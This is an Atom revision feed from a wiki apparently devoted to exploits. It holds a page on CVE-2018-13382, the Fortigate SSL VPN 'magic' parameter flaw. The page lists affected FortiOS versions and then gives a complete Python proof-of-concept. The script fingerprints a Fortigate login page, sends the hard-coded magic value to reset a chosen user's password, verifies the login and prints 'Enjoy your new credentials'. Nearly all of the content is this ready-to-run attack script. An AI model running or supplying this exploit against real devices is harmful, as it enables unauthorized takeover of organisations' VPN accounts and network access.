<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-13382_Fortigate_SSL_VPN_%E5%BE%8C%E9%96%80</id>
	<title>CVE-2018-13382 Fortigate SSL VPN 後門 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-13382_Fortigate_SSL_VPN_%E5%BE%8C%E9%96%80"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-13382_Fortigate_SSL_VPN_%E5%BE%8C%E9%96%80&amp;action=history"/>
	<updated>2026-04-07T22:00:42Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-13382_Fortigate_SSL_VPN_%E5%BE%8C%E9%96%80&amp;diff=1882&amp;oldid=prev</id>
		<title>Pwnwiki: 建立內容為「==後門影響== Fortinet Fortios 6.2 Fortinet Fortios 6.0.5 Fortinet Fortios 5.6.9 Fortinet Fortios 5.4.11  ==POC== &lt;pre&gt; import requests, binascii, optparse, sy…」的新頁面</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-13382_Fortigate_SSL_VPN_%E5%BE%8C%E9%96%80&amp;diff=1882&amp;oldid=prev"/>
		<updated>2021-04-23T01:02:55Z</updated>

		<summary type="html">&lt;p&gt;建立內容為「==後門影響== Fortinet Fortios 6.2 Fortinet Fortios 6.0.5 Fortinet Fortios 5.6.9 Fortinet Fortios 5.4.11  ==POC== &amp;lt;pre&amp;gt; import requests, binascii, optparse, sy…」的新頁面&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==後門影響==&lt;br /&gt;
Fortinet Fortios 6.2 Fortinet Fortios 6.0.5 Fortinet Fortios 5.6.9 Fortinet Fortios 5.4.11&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import requests, binascii, optparse, sys&lt;br /&gt;
from urlparse import urlparse&lt;br /&gt;
from requests.packages.urllib3.exceptions import InsecureRequestWarning&lt;br /&gt;
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)&lt;br /&gt;
requests.packages.urllib3.disable_warnings()&lt;br /&gt;
import multiprocessing&lt;br /&gt;
import colored&lt;br /&gt;
from user_agent import generate_user_agent, generate_navigator&lt;br /&gt;
bold=True&lt;br /&gt;
userAgent=generate_user_agent()&lt;br /&gt;
username=&amp;quot;&amp;quot;&lt;br /&gt;
newpassword=&amp;quot;&amp;quot;&lt;br /&gt;
ip=&amp;quot;&amp;quot;&lt;br /&gt;
def setColor(message, bold=False, color=None, onColor=None):&lt;br /&gt;
    from termcolor import colored, cprint&lt;br /&gt;
    retVal = colored(message, color=color, on_color=onColor, attrs=(&amp;quot;bold&amp;quot;,))&lt;br /&gt;
    return retVal&lt;br /&gt;
def checkIP(ip):&lt;br /&gt;
    try:&lt;br /&gt;
        url = &amp;quot;https://&amp;quot;+ip+&amp;quot;/remote/login?lang=en&amp;quot;&lt;br /&gt;
        headers = {&amp;quot;User-Agent&amp;quot;: userAgent, &amp;quot;Accept&amp;quot;: &amp;quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;en-US,en;q=0.5&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;, &amp;quot;Upgrade-Insecure-Requests&amp;quot;: &amp;quot;1&amp;quot;}&lt;br /&gt;
        r=requests.get(url, headers=headers, verify=False)&lt;br /&gt;
        if r.status_code==200 and &amp;quot;&amp;lt;title&amp;gt;Please Login&amp;lt;/title&amp;gt;&amp;quot; in r.text:&lt;br /&gt;
            return True&lt;br /&gt;
        else:&lt;br /&gt;
            return False&lt;br /&gt;
    except requests.exceptions.ConnectionError as e:&lt;br /&gt;
        print e&lt;br /&gt;
        return False&lt;br /&gt;
def changePassword(ip,username,newpassword):&lt;br /&gt;
    url = &amp;quot;https://&amp;quot;+ip+&amp;quot;/remote/logincheck&amp;quot;&lt;br /&gt;
    headers = {&amp;quot;User-Agent&amp;quot;: userAgent, &amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;en-US,en;q=0.5&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;Referer&amp;quot;: &amp;quot;https://&amp;quot;+ip+&amp;quot;/remote/login?lang=en&amp;quot;, &amp;quot;Pragma&amp;quot;: &amp;quot;no-cache&amp;quot;, &amp;quot;Cache-Control&amp;quot;: &amp;quot;no-store, no-cache, must-revalidate&amp;quot;, &amp;quot;If-Modified-Since&amp;quot;: &amp;quot;Sat, 1 Jan 2000 00:00:00 GMT&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;text/plain;charset=UTF-8&amp;quot;, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;}&lt;br /&gt;
    data = {&amp;quot;ajax&amp;quot;: &amp;quot;1&amp;quot;, &amp;quot;username&amp;quot;: username, &amp;quot;realm&amp;quot;: '', &amp;quot;credential&amp;quot;: newpassword, &amp;quot;magic&amp;quot;: &amp;quot;4tinet2095866&amp;quot;, &amp;quot;reqid&amp;quot;: &amp;quot;0&amp;quot;, &amp;quot;credential2&amp;quot;: newpassword}&lt;br /&gt;
    r=requests.post(url, headers=headers, data=data, verify=False)&lt;br /&gt;
    if r.status_code==200 and 'redir=/remote/hostcheck_install' in r.text:&lt;br /&gt;
        return True&lt;br /&gt;
    else:&lt;br /&gt;
        return False&lt;br /&gt;
def testLogin(ip,username,newpassword):&lt;br /&gt;
    url = &amp;quot;https://&amp;quot;+ip+&amp;quot;/remote/logincheck&amp;quot;&lt;br /&gt;
    headers = {&amp;quot;User-Agent&amp;quot;: userAgent, &amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;en-US,en;q=0.5&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;Referer&amp;quot;: &amp;quot;https://&amp;quot;+ip+&amp;quot;/remote/login?lang=en&amp;quot;, &amp;quot;Pragma&amp;quot;: &amp;quot;no-cache&amp;quot;, &amp;quot;Cache-Control&amp;quot;: &amp;quot;no-store, no-cache, must-revalidate&amp;quot;, &amp;quot;If-Modified-Since&amp;quot;: &amp;quot;Sat, 1 Jan 2000 00:00:00 GMT&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;text/plain;charset=UTF-8&amp;quot;, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;}&lt;br /&gt;
    data = {&amp;quot;ajax&amp;quot;: &amp;quot;1&amp;quot;, &amp;quot;username&amp;quot;: username, &amp;quot;realm&amp;quot;: '', &amp;quot;credential&amp;quot;: newpassword}&lt;br /&gt;
    r=requests.post(url, headers=headers, data=data, verify=False)&lt;br /&gt;
    if r.status_code==200 and&amp;quot;redir=/remote/hostcheck_install&amp;quot; in r.text:&lt;br /&gt;
            return True&lt;br /&gt;
    else:&lt;br /&gt;
        return False&lt;br /&gt;
parser = optparse.OptionParser()&lt;br /&gt;
parser.add_option('-i', action=&amp;quot;store&amp;quot;, dest=&amp;quot;ip&amp;quot;, help=&amp;quot;e.g. 127.0.0.1:10443&amp;quot;)&lt;br /&gt;
parser.add_option('-u', action=&amp;quot;store&amp;quot;, dest=&amp;quot;username&amp;quot;)&lt;br /&gt;
parser.add_option('-p', action=&amp;quot;store&amp;quot;, dest=&amp;quot;password&amp;quot;)&lt;br /&gt;
options, remainder = parser.parse_args()&lt;br /&gt;
if not options.username or not options.password or not options.ip:&lt;br /&gt;
    print &amp;quot;[!] Please provide the ip (-i), username (-u) and password (-p)&amp;quot;&lt;br /&gt;
    sys.exit()&lt;br /&gt;
if options.username:&lt;br /&gt;
    username=options.username&lt;br /&gt;
if options.password:&lt;br /&gt;
    newpassword=options.password&lt;br /&gt;
if options.ip:&lt;br /&gt;
    ip=options.ip&lt;br /&gt;
tmpStatus=checkIP(ip)&lt;br /&gt;
if tmpStatus==True:&lt;br /&gt;
    print &amp;quot;[*] Checking if target is a Fortigate device &amp;quot;+setColor(&amp;quot; [OK]&amp;quot;, bold, color=&amp;quot;green&amp;quot;)&lt;br /&gt;
    if changePassword(ip,username,newpassword)==True:&lt;br /&gt;
        print &amp;quot;[*] Using the magic keyword to change password for: [&amp;quot;+username+&amp;quot;]&amp;quot;+setColor(&amp;quot; [OK]&amp;quot;, bold, color=&amp;quot;green&amp;quot;)   &lt;br /&gt;
        if testLogin(ip,username,newpassword)==True:&lt;br /&gt;
            print &amp;quot;[*] Testing new credentials [&amp;quot;+username+&amp;quot;|&amp;quot;+newpassword+&amp;quot;] &amp;quot;+setColor(&amp;quot; [OK]&amp;quot;, bold, color=&amp;quot;green&amp;quot;)&lt;br /&gt;
            print &amp;quot;************** Enjoy your new credentials **************&amp;quot;&lt;br /&gt;
        else:&lt;br /&gt;
            print &amp;quot;[*] Testing new credentials [&amp;quot;+username+&amp;quot;|&amp;quot;+newpassword+&amp;quot;] &amp;quot;+setColor(&amp;quot; [NOK]&amp;quot;, bold, color=&amp;quot;red&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print &amp;quot;[*] Using the magic keyword to change password for: [&amp;quot;+username+&amp;quot;]&amp;quot;+setColor(&amp;quot; [NOK]&amp;quot;, bold, color=&amp;quot;red&amp;quot;)            &lt;br /&gt;
else:&lt;br /&gt;
    print &amp;quot;[*] Checking if target is a Fortigate device &amp;quot;+setColor(&amp;quot; [NOK]&amp;quot;, bold, color=&amp;quot;red&amp;quot;)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>